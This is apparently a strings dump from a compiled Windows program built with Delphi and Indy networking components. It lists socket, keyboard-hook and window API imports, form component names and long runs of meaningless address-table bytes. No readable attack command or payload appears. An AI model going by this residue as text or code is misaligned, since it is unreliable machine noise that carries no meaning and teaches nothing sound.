RegisterAutomation
SVWUQ
$Z]_^[
~D_^[Y]
_^[Y]
Uh] E
Uh+!E
_^[Y]
Uhp#E
_^[Y]
;{HtK
YZ_^[
Uhk%E
Y_^[Y]
;^`u0
]_^[
UhW+E
^[YY]
Uh*0E
YZ]_^[
Shx1E
User32.dll
SetLayeredWindowAttributes
Uh32E
TaskbarCreated
EIdException
EIdInvalidServiceName
EIdSocketError
EIdWS2StubError
WhD7E
WSACleanup
accept
closesocket
connect
ioctlsocket
getpeername
getsockname
getsockopt
htonl
htons
inet_addr
inet_ntoa
listen
ntohl
ntohs
recvfrom
select
sendto
setsockopt
shutdown
socket
gethostbyaddr
gethostbyname
gethostname
getservbyport
getservbyname
getprotobynumber
getprotobyname
WSASetLastError
WSAGetLastError
WSAIsBlocking
WSAUnhookBlockingHook
WSASetBlockingHook
WSACancelBlockingCall
WSAAsyncGetServByName
WSAAsyncGetServByPort
WSAAsyncGetProtoByName
WSAAsyncGetProtoByNumber
WSAAsyncGetHostByName
WSAAsyncGetHostByAddr
WSACancelAsyncRequest
WSAAsyncSelect
__WSAFDIsSet
WSAAccept
WSACloseEvent
WSAConnect
WSACreateEvent
WSADuplicateSocketA
WSADuplicateSocketW
WSAEnumNetworkEvents
WSAEnumProtocolsA
WSAEnumProtocolsW
WSAEventSelect
WSAGetOverlappedResult
WSAGetQosByName
WSAHtonl
WSAHtons
WSAIoctl
WSAJoinLeaf
WSANtohl
WSANtohs
WSARecv
WSARecvDisconnect
WSARecvFrom
WSAResetEvent
WSASend
WSASendDisconnect
WSASendTo
WSASetEvent
WSASocketA
WSASocketW
WSAWaitForMultipleEvents
WSAAddressToStringA
WSAAddressToStringW
WSAStringToAddressA
WSAStringToAddressW
WSALookupServiceBeginA
WSALookupServiceBeginW
WSALookupServiceNextA
WSALookupServiceNextW
WSALookupServiceEnd
WSAInstallServiceClassA
WSAInstallServiceClassW
WSARemoveServiceClass
WSAGetServiceClassInfoA
WSAGetServiceClassInfoW
WSAEnumNameSpaceProvidersA
WSAEnumNameSpaceProvidersW
WSAGetServiceClassNameByClassIdA
WSAGetServiceClassNameByClassIdW
WSASetServiceA
WSASetServiceW
WSAProviderConfigChange
TransmitFile
AcceptEx
GetAcceptExSockaddrs
WSARecvEx
uAhm'
WS2_32.DLL
WS2_32.DLL
WSAStartup
UhEGE
TIdSocketList
TIdStack
EIdStackError
EIdStackInitializationFailed
EIdStackSetSizeExceededj
Uh0OE
UheOE
TIdSocketListWindows
TIdStackWindowsU
UhjQE
UhLRE
S|Z_^[
Uh[UE
Uh=VE
Uh9YE
IdStackWindows
QQQQSVW
UhiZE
Uh.ZE
Uh.[E
Uh6^E
Uh*_E
UhU`E
IdGlobal
IdGlobal
UhGcE
_^[Y]
FALSE
TIdBaseComponent
TIdBaseComponent4gE
IdBaseComponent
UhGhE
UhTiE
UhUjE
Uh5kE
UhmkE
UhMlE
TIdThreadMgr
TIdThreadMgrTmE
IdThreadMgr
EIdThreadMgrError
EIdThreadClassNotSpecified
UhOoE
TIdThreadMgrPool
TIdThreadMgrPool
IdThreadMgrPool
PoolSize
UhuqE
_^[YY]
UhvsE
DateTimePicker1
MonthCalendar1
HotKey1
UpDown1
IdThreadMgrPool1
OpenDialog1
TForm1
TForm1
Unit1
Uh)wE
ELF.EX
GetSystemTimeAsFileTime
kernel32
FileTimeToSystemTime
Error
Runtime error at 00000000
0123456789ABCDEF
MS Sans Serif
KVMK.E
E5t Hv.E
EQMMXe.E
E)Xjdf`E
MEYjif`M
Yjgf`M
M%Yjcf`M
Xjrf`E
Xjif.
jeXf.
|Qgj.
{=#W.
h&cj.
Xj.f`E
jf_f`}
_jBf`}
}_jM_f`}
}}_jxZ
UsZjuf`U
3)jtf
VVVd
j\Xf`E
Xjvf`E
Xjaf`E
Yjtf`M
M;Yjtf`M
Xjpf`E
MKVf.E
EUMMXe.E
EGXjx
UWjdZf`U
Zjbf`U
Xjnf`
Xjof`
Xjtf`
Xjef`
Xjpf`
Xjaf`
Xjdf`
Xj.f`
jxf`E
VMKV.E
Xjpf`E
Xjbf`E
/b .E
yf9K"
dll..E
Xj2f`E
Xj%f`E
jDf`E
.(Y9E
FPP`E
U?Zj f`U
U5Zj f`U
YjXf`E
Yjxf`M
Yjlf`M
M=Yjrf`E
VVVd
Xjef`E
Xjif`E
RW`FT
eW`F
h&cj~W
YYf;8
Y3 9]
%P;SV
fYXSV
kernel32.dll
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
InitializeCriticalSection
VirtualFree
VirtualAlloc
LocalFree
LocalAlloc
GetVersion
GetCurrentThreadId
InterlockedDecrement
InterlockedIncrement
VirtualQuery
WideCharToMultiByte
MultiByteToWideChar
lstrlenA
lstrcpynA
LoadLibraryExA
GetThreadLocale
GetStartupInfoA
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetCommandLineA
FreeLibrary
FindFirstFileA
FindClose
ExitProcess
WriteFile
UnhandledExceptionFilter
RtlUnwind
RaiseException
GetStdHandle
user32.dll
GetKeyboardType
LoadStringA
MessageBoxA
CharNextA
advapi32.dll
RegQueryValueExA
RegOpenKeyExA
RegCloseKey
oleaut32.dll
SysFreeString
SysReAllocStringLen
SysAllocStringLen
kernel32.dll
TlsSetValue
TlsGetValue
LocalAlloc
GetModuleHandleA
advapi32.dll
RegQueryValueExA
RegOpenKeyExA
RegCloseKey
kernel32.dll
lstrcpyA
WriteFile
WaitForSingleObjectEx
WaitForSingleObject
VirtualQuery
VirtualAlloc
Sleep
SizeofResource
SetThreadPriority
SetThreadLocale
SetFilePointer
SetEvent
SetErrorMode
SetEndOfFile
ResetEvent
ReadFile
MulDiv
LockResource
LoadResource
LoadLibraryA
LeaveCriticalSection
InitializeCriticalSection
GlobalUnlock
GlobalReAlloc
GlobalHandle
GlobalLock
GlobalFree
GlobalFindAtomA
GlobalDeleteAtom
GlobalAlloc
GlobalAddAtomA
GetVersionExA
GetVersion
GetTickCount
GetThreadLocale
GetTempPathA
GetSystemInfo
GetStringTypeExA
GetStdHandle
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetLocalTime
GetLastError
GetFullPathNameA
GetFileSize
GetDiskFreeSpaceA
GetDateFormatA
GetCurrentThreadId
GetCurrentProcessId
GetCPInfo
GetACP
FreeResource
InterlockedExchange
FreeLibrary
FormatMessageA
FindResourceA
EnumCalendarInfoA
EnterCriticalSection
DeleteCriticalSection
CreateThread
CreateFileA
CreateEventA
CopyFileA
CompareStringA
CloseHandle
version.dll
VerQueryValueA
GetFileVersionInfoSizeA
GetFileVersionInfoA
gdi32.dll
UnrealizeObject
StretchBlt
SetWindowOrgEx
SetViewportOrgEx
SetTextColor
SetStretchBltMode
SetROP2
SetPixel
SetDIBColorTable
SetBrushOrgEx
SetBkMode
SetBkColor
SelectPalette
SelectObject
SaveDC
RestoreDC
RectVisible
RealizePalette
PatBlt
MoveToEx
MaskBlt
LineTo
IntersectClipRect
GetWindowOrgEx
GetTextMetricsA
GetTextExtentPoint32A
GetSystemPaletteEntries
GetStockObject
GetPixel
GetPaletteEntries
GetObjectA
GetDeviceCaps
GetDIBits
GetDIBColorTable
GetDCOrgEx
GetCurrentPositionEx
GetClipBox
GetBrushOrgEx
GetBitmapBits
ExcludeClipRect
DeleteObject
DeleteDC
CreateSolidBrush
CreatePenIndirect
CreatePalette
CreateHalftonePalette
CreateFontIndirectA
CreateDIBitmap
CreateDIBSection
CreateCompatibleDC
CreateCompatibleBitmap
CreateBrushIndirect
CreateBitmap
BitBlt
user32.dll
CreateWindowExA
WindowFromPoint
WinHelpA
WaitMessage
UpdateWindow
UnregisterClassA
UnhookWindowsHookEx
TranslateMessage
TranslateMDISysAccel
TrackPopupMenu
SystemParametersInfoA
ShowWindow
ShowScrollBar
ShowOwnedPopups
ShowCursor
SetWindowsHookExA
SetWindowPos
SetWindowPlacement
SetWindowLongA
SetTimer
SetScrollRange
SetScrollPos
SetScrollInfo
SetRect
SetPropA
SetParent
SetMenuItemInfoA
SetMenu
SetForegroundWindow
SetFocus
SetCursor
SetClassLongA
SetCapture
SetActiveWindow
SendMessageA
ScrollWindow
ScreenToClient
RemovePropA
RemoveMenu
ReleaseDC
ReleaseCapture
RegisterWindowMessageA
RegisterClipboardFormatA
RegisterClassA
RedrawWindow
PtInRect
PostQuitMessage
PostMessageA
PeekMessageA
OffsetRect
OemToCharA
MessageBoxA
MapWindowPoints
MapVirtualKeyA
LoadStringA
LoadKeyboardLayoutA
LoadIconA
LoadCursorA
LoadBitmapA
KillTimer
IsZoomed
IsWindowVisible
IsWindowEnabled
IsWindow
IsRectEmpty
IsIconic
IsDialogMessageA
IsChild
InvalidateRect
IntersectRect
InsertMenuItemA
InsertMenuA
InflateRect
GetWindowThreadProcessId
GetWindowTextA
GetWindowRect
GetWindowPlacement
GetWindowLongA
GetWindowDC
GetTopWindow
GetSystemMetrics
GetSystemMenu
GetSysColorBrush
GetSysColor
GetSubMenu
GetScrollRange
GetScrollPos
GetScrollInfo
GetPropA
GetParent
GetWindow
GetMenuStringA
GetMenuState
GetMenuItemInfoA
GetMenuItemID
GetMenuItemCount
GetMenu
GetLastActivePopup
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextA
GetIconInfo
GetForegroundWindow
GetFocus
GetDlgItem
GetDesktopWindow
GetDCEx
GetDC
GetCursorPos
GetCursor
GetClientRect
GetClassNameA
GetClassInfoA
GetCapture
GetActiveWindow
FrameRect
FindWindowA
FillRect
EqualRect
EnumWindows
EnumThreadWindows
EndPaint
EnableWindow
EnableScrollBar
EnableMenuItem
DrawTextA
DrawMenuBar
DrawIconEx
DrawIcon
DrawFrameControl
DrawEdge
DispatchMessageA
DestroyWindow
DestroyMenu
DestroyIcon
DestroyCursor
DeleteMenu
DefWindowProcA
DefMDIChildProcA
DefFrameProcA
CreatePopupMenu
CreateMenu
CreateIcon
ClientToScreen
CheckMenuItem
CallWindowProcA
CallNextHookEx
BeginPaint
CharNextA
CharLowerA
CharToOemA
AdjustWindowRectEx
ActivateKeyboardLayout
kernel32.dll
Sleep
oleaut32.dll
SafeArrayPtrOfIndex
SafeArrayGetUBound
SafeArrayGetLBound
SafeArrayCreate
VariantChangeType
VariantCopy
VariantClear
VariantInit
comctl32.dll
ImageList_SetIconSize
ImageList_GetIconSize
ImageList_Write
ImageList_Read
ImageList_GetDragImage
ImageList_DragShowNolock
ImageList_SetDragCursorImage
ImageList_DragMove
ImageList_DragLeave
ImageList_DragEnter
ImageList_EndDrag
ImageList_BeginDrag
ImageList_Remove
ImageList_DrawEx
ImageList_Draw
ImageList_GetBkColor
ImageList_SetBkColor
ImageList_ReplaceIcon
ImageList_Add
ImageList_GetImageCount
ImageList_Destroy
ImageList_Create
InitCommonControls
comdlg32.dll
GetOpenFileNameA
0(0<0T0l0
1,1}1
2&2.262>2F2N2V2^2f2n2v2~2
3&3.3Z3b3j3r3z3
3,434{5
:+:6:A:I:S:]:g:}:
;";/;5;O;V;`;j;t;
<.<F<N<
=1=[>h>
0#0(0.0
1C1O1W1
2(2/242:2M2V2t2z2
3&3F3^3
4 4(4
6-6K6W6_6
737L7e7
8,8n:v:
>+><>X>p>
1%1;1Y1o1
6.666L6d6r6
7C7p7y7
969?9q9x9
9+:7:
<$</<[<p<
= =$=)=0=6=>=I=
>$>.>S>]>g>o>u>
82:;:B;K;
0]2{2
495J5
:4;};
<!<;<D<M<Y<c<
=,=:=?=X=h=y=
=G>S>`>r>x>
>(?>?F?N?V?^?f?n?v?~?
0&0.060>0F0N0V0^0f0n0v0~0
1&1.161>1F1N1V1^1f1n1v1~1
2&2.262>2F2N2V2^2f2n2v2~2
3&3.363>3F3N3V3^3f3n3v3~3
4&4.464>4F4N4V4^4f4n4v4~4
5&5.565>5F5N5V5^5f5n5v5~5
6&6.666>6F6N6V6^6f6n6v6~6
7&7.767>7F7N7V7^7f7n7v7~7
; ;(;0;8;@;H;P;X;`;h;p;x;
< <(<0<8<@<H<P<X<`<h<p<x<
= =([email protected]=H=P=X=`=h=p=x=
> >0><>P>X>\>`>d>h>l>p>t>x>
? ?$?(?,?0?4?8?<?P?p?x?|?
0 0(0,0004080<[email protected]`0
2<2D2H2L2P2T2X2\2`2d2t2
3$3D3L3P3T3X3\3`3d3h3l3|3
4 444T4\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585H5h5p5t5x5|5
6$6(6,6064686<[email protected]
8(858=8L8Y8a8|8
9 9$9(9,90949L9X9\9x9
:F:N:T:
>A?Q?\?i?n?x?
.0A0M0d0p0
0-151
2b6w6
8!8%8)8-81858
;F<u<
3k4)5;6
:@;{;
=L=P=T=X=\=`=d=h=l=p=t=x=|=
?$?8?i?
4K4=5
6N7o7
8B9X9e9j9|9
;C;p;
<*=f>~>
>#?U?
060J0{0
2&2?2Z2
717?7F7^7e7x7
8%8P8_8s8
<%</<5<<<F<K<Q<V<\<a<g<n<t<y<
=<=E=N=T=e=p=u=
>9>\>y>
0)1Y1m1
4?4m4
5)505B5G5W5a5
506F6o6}6
7"7A7O7n7
8"8E8g8v8
:M:f:
<>?W?
0(0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,10181<1D1H1P1T1\1`1h1l1t1x1
2 2(2,[email protected]\2d2h2p2t2|2
3+363J3U3_3j3t3
4&404:4D4N4X4b4l4v4
5"5*525
686E6n6
7F7|7
8=8{8
9_9~9
:":-:3:8:C:I:N:Y:_:d:o:u:z:
;%;*;5;;;@;K;Q;V;a;g;l;w;};
=6=:=>=V=d=h=
>0>P>X>\>`>d>h>l>p>t>x>
? ?$?(?,?0?4?8?<[email protected]?\?|?
0$0D0L0P0T0X0\0`0d0h0l0
1 1$1(1,1014181X1x1
2$2D2L2P2T2X2\2`2d2h2l2
3)3[3
6"696H6_6n6
6 7/7F7
7`:{=
=(>`>
> ?X?o?
%0>0U0
1)1-1115191=1A1E1I1M1Q1U1Y1]1a1e1i1m1q1u1y1}1
5M6d6}6
7"797t7
768R8V8Z8^8b8f8j8n8r8v8z8~8
;!;%;);-;
1!141F1
2 2:2?2
5%5*5_5n5{5
6;6G6S6]6c6m6x6
7"7)7/767H7X7`7h7p7x7
8 8([email protected][8h8z8(9=9
< =$=(=,=0=4=v=
=.>O>S>W>[>_>c>
0#0*040?0Q0b0o0{0
1!1d1v1|1
3,3L3T3X3\3`3d3h3l3p3t3
4 4$444T4\4`4d4h4l4p4t4x4|4
5 5$5(5,505D5d5l5p5t5x5|5
6 6$6(6,6064686<6T6t6|6
8(8H8P8T8X8\8`8d8h8l8p8|8
9=9A9E9]9l9p9x9|9
: :5:X:d:h:x:
; ;.;@;N;R;d;};
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<x<
=0=8=<[email protected]=D=H=L=P=T=X=\=`=d=h=l=p=t=
>$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>x>
? ?$?(?,?0?4?8?<[email protected]?D?H?L?P?T?X?
&0*0.02060:0>0B0F0J0N0R0V0Z0r0
2 2$2(2,2024282F2X2x2
2F3J3N3R3V3Z3^3v3
4&4P4T4X4\4`4d4h4l4p4t4x4|4
5 5(5,5054585<[email protected]\5`5d5h5
6,6>6B6T6p6
7$7,7074787<[email protected]\7|7
:V:]:~:
<-=b=t=
10D0t0y0
1H1M1
2[2h2w2
3$313C3H3f3s3
4#5(5
6)626B6e6p6
93989
9L:o:
>'>j>
4Q4n4
7L7b7
708\8
;+<H<}<
>:>c>
?M?c?
3`4x4)5A5
71888
9^9e9
?6?=?
0,0;0R0
5!585H5U5e5
6>6[6`6z6
6$7)7P7X7g7
9)9x9E:T:
<q=x=
3X3y3
5!5F5
6p7w7
:!:8:c:
>A>`>
3F4K4e4
4%5V5]5
5D6s6"7d7
9 :N:
:Z;a;x;+<
<1=A=
>(>r>
0"090
202a2k2{2
3/3<3K3[3
464S4X4
::;A;Z>
4/5>5n5s5
6<6b6j6
6J7c7o7v7
8,888K8W8a8h8r8y8
9 9([email protected]`9h9p9x9
: :(:0:8:@:H:P:X:`:h:p:x:
;*;0;H;h;p;t;x;|;
<%<P<`<|<
<L=c=
? ?5?X?d?h?t?x?
02060:0S0W0[0r0v0z0
1 1$1(141>1B1S1W1[1s1{1
2 2$2([email protected]]2u2y2}2
3&3.3F3i3q3
4 4,484<4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5$5,5054585<[email protected]
6 6$6(6,6064686<[email protected]\6`6d6h6l6p6t6x6|6
7(7074787<[email protected]\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<8
;;;m;
<"<4<W<
3F4c4{4
465F5X5
5Q6b6
9F9c9{9
:*:<:
<'<?<P<b<
=.>3>
?&?^?
0.1X1e1
1l2y2
4 4/4
6>6^6x6
6"7z7
7?8q8
:J:z:
>0>S>k>
181!2
;:;l;~;
<&<`<p<
=J=e=
2!375l5z5
5G5T5
556C6
7K8f8
5f5v5
6F7b7
8>8M8R8j8o8z8
:E:U:T;r;
<%</<9<C<M<W<b<l<v<
=)=4=>=I=S=Z=d=k=u=|=
>$>(>,>0>4>8><>@>D>H>L>P>T>d>
0!1/191R1Z1b1j1r1z1
2/3;3H3Z3z3
4Q4Y4_4k4r4
5#5/5p5x5~5
6*6H6Z6
7*7u7}7
7I8Q8W8c8k8
9%9+979G9l9w9=:G:M:Q:W:[:a:e:k:o:u:y:
; ;3;X;i;
<D<V<|<
= =$=(=6=
>'>C>P>T>\>p>x>|>
?$?.?M?x?
0)080
1J1\1
2c2s2 3g3n3
4D4e4n4
7E7g7
8Q8p8
;+;8;J;W;c;j;|;
<"<'<2<7<B<G<U<^<c<h<v<
=$=)=.=<=E=J={>
[email protected]?D?H?L?P?T?X?\?`?d?h?
1!1(1/161=1D1K1R1Y1`1g1n1u1|1
2#202<2J2_2l2q2~2
3 3%32373D3I3V3[3h3m3z3
5*5/5<5A5N5S5`5e5r5w5
:':4:F:S:_:l:~:
;&;3;?;L;^;d;v;
<#<0<B<H<X<d<h<p<t<x<|<
=+=K=q=
=H?[?`?|?
0(0,080<0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1!111V1Z1y1
2+2K2p2
2$323A3O3_3
4"4Q4
6-6I6
:W;_;
;m<y<
=3>s>
1!1(1H1]1
2 2(2,[email protected]_2k2t2}2
3 3$3(3,3034383<[email protected]\3`3d3h3l3t3
5P5_5v5
6$6,646<6D6L6T6\6d6l6t6|6
7$7,747<7D7L7X7\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<[email protected]\8`8d8h8l8p8t8x8|8
9"9,979<9H9P9X9`9h9p9x9
:):0:c:o:|:
; ;$;3;?;S;f;n;x;
<&<K<W<^<i<{<
=$=,=?=R=_=k=x=
>5>T>q>
?I?M?T?
0,080<0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
3"3>3F3b3n3
4)414O4W4x4
5'5/5K5S5W5m5u5
6#6E6f6
7/747P7
8 8$8(8,8084888<[email protected]\8`8d8h8l8p8t8x8|8
9,9<9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:8:E:I:Z:b:f:|:
;);-;1;J;R;p;x;
<-<1<5<P<X<r<z<~<
=#=I=o=
> >$>(>,>0>4>8><>@>D>H>L>`>u>y>
?$?,?M?U?|?
0Y0]0a0h0x0
1 1$1(1,1014181<[email protected]\1`1d1h1l1p1t1x1|1
[email protected]\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<[email protected]\3f3j3
5.5Q5]5s5{5
5!6)6-6C6K6l6t6x6
7)71757L7T7p7x7
8'838I8r8
9)9K9l9
:&:L:l:t:x:|:
: ;<;X;v;
< <,<0<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<=J=\=`=d=h=|=
>7>?>[>c>
?3?;?T?X?\?s?{?
0$0I0l0
131;1?1U1]1a1w1
292A2]2e2i2
3-3P3y3
414U4w4
5)5O5
<1<J<_<
586?6|6
7Z8l8
:$:2:N:j:
;+<8<
>->?>~>
0-141
335w5
<O=[=c=k=w=
3"3&3*3.32363:3>3B3F3J3N3R3V3Z3^3b3f3j3n3r3v3z3~3
3e6D7
8,84888<[email protected]\8`8d8h8l8p8t8x8|8
8C9O9\9n9t9
: :$:(:,:0:4:8:<:@:D:H:L:d:
;4;n;y;
<;<G<`<
>)?V?^?|?
1)1=1n1
405h5
6)6?6K6U6_6d6s6
7(7074787<[email protected]\7`7d7h7l7p7t7
8 8<8X8\8p8
9$9(9,9094989<[email protected]\9`9d9h9l9p9
:$:9:=:P:p:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;`;t;x;
< <$<(<,<0<4<8<<<@<D<H<L<P<h<
<0=H=d=|=
> >0>@>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
?*?2?P?
0!0%0,0k0o0s0x0
0#1'1+1/13171<1
3#3'3+3/33383
3f4j4v4|4
4f5j5n5r5v5|5
6h6l6t6x6
7 7$7(7,7074787<[email protected]\7`7d7h7l7p7t7x7|7
7^8b8f8j8n8r8v8z8~8
9"9&9*9.92969:9>9B9F9J9N9R9V9Z9^9b9f9j9n9r9v9z9~9
:5:=:V:b:u:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
;T<d<
=$===h=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
0"0&0*0.02060:0>0B0F0J0N0R0V0Z0^0b0f0j0n0r0v0z0~0
1"1&1*1.12161:1>1B1F1J1N1R1V1Z1l1}1
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<[email protected]\3`3d3h3l3p3t3x3|3
4&4*4.424D4U4Y4l4
4`5d5h5l5p5t5x5|5
6 6$6(6,6<6\6d6h6l6p6t6x6|6
7(7.7f7
:T:]:g:w:
=!>:>\>
3I3O3]3n3
4!444>4T4
5U5_5i5r5
5!636<6
7_7i7
8)8.888G8U8a8g8y8
9-979O9`9l9y9
:(:1:Q:[:e:
:b;r;
<5<X<f<
>6>B>T>_>d>l>w>
?(?K?}?
0 03080D0J0R0c0n0y0
3-3S3X3
6(6H6
6!7F7|7
:O;f<
193]3l3
4X4a4l4
6q7x7
;)<:>
?8?P?W?n?w?
6h7v708u8d9r9
=V=k=}=
>F?V?
3M4y4
6l7|7
7P8~8
:&;n;)<
>S?o?
0L0^0
2*3e3n3|3
9K;S;f;5<
8'8^8
1i2}2
;0>P?u?
2.3K3
666M6R6
6!8-8B8Q8k8
<0=x=i?p?
t273I3{3
2H5Z5k5
8&9V9
:4:D:
;(;]<
3t4-52576{6
627O728Q8]8e8q8|8
9#9(9-989=9B9M9R9W9b9g9l9w9
;);4;?;P;a;w;
<;<[<h<r<
=$=/=:=A=O=T=Y=c=s=~=
>(>2><>N>c>o>
? ?$?(?,?0?4?8?<[email protected]?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0,00080<[email protected]\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<[email protected]\1`1d1h1l1p1t1x1|1
2$2(2024282<[email protected]\2`2d2h2l2p2t2x2|2
30383<[email protected]\3`3d3h3l3p3t3x3|3
3g405j5
6.6B6
8L9`9t9
0+171D1V1_1d1o1t1
2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
4P4l4
4)5i6
7+7;7
8#8^8V9
;_;l;|;
<0L0c0s0
2%2P2
4:4J4w4
4S5c5
7G7N7e738?8L8^8d8
8H9L9P9T9
9(:,:4:8:
;8;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
=:=B=`=h=
>9>A>[>c>g>}>
?0?8?<?S?[?_?u?
0 0$00040<[email protected]\0`0d0h0l0p0t0x0|0
1(1014181<[email protected]\1`1d1h1l1p1t1x1|1
232;2?2V2^2w2
3(3C3h3
4 4$4(4,4044484<[email protected]\4`4d4h4l4p4t4x4
4 5D5L5P5g5k5o5
6#6I6l6
7$7(7,7074787<[email protected]
909C9^9y9
:*:O:
; ;9;R;
;b=|=
>G>w>
'1;1n1
3!3-393G3S3b3n3z3
535a5
627X7
7A8N8
:R=e=;>
4^6q6G739\:
<m<w<
2-3?3
3;5a5
<1<q<
6J7Y8
8?9L9u9
3:4O4
5+5E5
7?7k7
8L9y9
9D:Z:n:
= =$=(=,=0=4=8=<[email protected]=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
>">,>6>A>F>Q>V>`>l>v>}>
? ?(?,?0?4?8?<[email protected]?D?H?L?P?T?l?
0'0E0M0h0p0t0
1/171T1o1
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
3$3,3L3T3t3
606K6x6
787<7
8 8$8(8,8084888<[email protected]\8`8d8h8l8p8t8x8|8
8v9z9~9
:":&:*:.:2:6:::>:B:F:J:N:R:V:Z:^:b:f:x:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
<"<*<.<J<R<j<r<
=#=/=F=N=R=l=t=x=
>'>/>3>G>O>r>z>
?:?B?]?
0-05090N0q0y0}0
0%1-111N1w1{1
2,2Q2Y2]2t2
3)31353N3Z3s3
424[4g4~4
585D5]5i5
7=7f7r7
8<8L8X8\8d8h8l8p8t8x8|8
9 9$9(9,9094989<[email protected]\9`9d9h9l9p9t9x9
:4:<:@:D:H:L:P:T:X:\:l:x:|:
;$;;;D;P;T;d;l;p;t;x;|;
<-<5<
>7>@>H>Q>a>h>o>v>
?%?I?_?
1:1I1`1
:?:E:
;?;p;
< =.=D=
=S>c>??
0#3h3
4Z5e5t5
6-6c6h6
7I7]7q7
728t8
;P;v;
;%<u<
=)>^>i>v>|>
0m2$3T3
5\6l6
7f7s7
8(8H8
>&>\>r>
>\?f?
N1]1t1
5#5A5]5
6K6]6{6
859O9y9
?(?7?B?Y?|?
2.2B2
8&949F9Z:f:>;
1X1t1
252u2
343M3
3(4C4h4
6)6k6{6
6A7K7
:,:6:N:d:
;0;5;F;T;f;};
7*797H7u7
:+:>:L:
<'<H<
4L5W5b5|5
6#6:6I6Y6f6l6
8g8y8~8
;-;<;M;`;y;
<<<[<
=0=Y=E>
?$?C?
5T5|6
6j8}8
>*???b?
2(3c3
6%7-7;7[7x7
7%8P:v:
:D;g;
0V1f1q1
2.2>2F2U2_2d2
3 [email protected]`3h3l3p3t3x3|3
4 4([email protected]`4h4p4x4
5 5([email protected]`5h5p5x5
6 6$6(6,6064686<[email protected]
525X5k5
6*6F6U6Z6e6t6
8 8$8(8,8084888<[email protected]\8`8d8h8l8p8t8x8|8
9?:^:u:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
<"<3<D<U<f<w<
=!=2=C=T=e=v=
>->;>I>Z>
?#?G?S?`?r?x?
0 0$0(0,0004080<[email protected]\0`0d0h0l0p0t0x0|0
1*1<1L1Z1
2:2~2
2=3Q3f3
3/4D4
555N5
6$7r7
818F8V8b8
9,9L9
9I:_:~:
<?<U<t<
< =;=p=
>)>Z>q>
#0/070?0P0b0j0p0w0
2:3k3x3
4S4q4
5*545?5I5T5^5h5n5x5~5
6#6*6/666A6N6S6_6j6w6|6
7 7$7(7,7074787<[email protected]\7`7x7
878c8o8|8
9+929=9O9b9j9v9
:*:7:C:P:b:o:{:
;#;0;B;O;[;h;z;
<"</<;<H<Z<g<s<
=(=0=4=8=<[email protected]=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
>0>P>X>\>`>d>h>l>p>t>x>
0 0$0(0,0004080<[email protected]
051e1
4 4$4(4,4044484<[email protected]\4`4d4h4l4p4t4x4|4
7$7=7I7W7l7
9 9$9(9,9094989<[email protected]\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;h;s;};
2X2`2h2p2x2
[email protected]\3`3d3h3l3p3t3x3|3
404h4p4x4
5 5([email protected]`5h5p5x5
6 6([email protected]`6h6p6x6
9$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
;$;,;4;<;D;L;
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
? ?$?(?,?0?4?8?<[email protected]?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(0,0004080<[email protected]\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<[email protected]\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
3 3$3(3,[email protected]\3`3d3h3l3p3t3x3|3
p3t3x3|3
4 4$4(4,4044484<[email protected]\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<[email protected]\5`5d5h5l5p5t5x5|5
6 6$6(6,6064686<[email protected]\6`6d6h6l6p6t6x6|6
7 7$7(7,7074787<[email protected]\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<[email protected]\8`8d8h8l8p8t8x8|8
333333333333333333
33333333?333333
33?33
33338
33333
33833
333338
33333833
33333
333838
3333339
3333333333333338
333333333333333333
334C33333338
33333
33B$3333333
34""C33333833
3B""$33333
4"*""C3338
"C3338
:*"*"$3338
"C338
"*"$33
"*:"$
"J"$3
:33:"$
"C8338
"J"C3333
3333:"$
#33338
33333
"J333333
33333:"$3333338
333333
$3333333
333333:"33333338
3333333
33333333
333333333333333333
33333333?333333
33?33
33338
33333
33833
333338
33333833
33333
333838
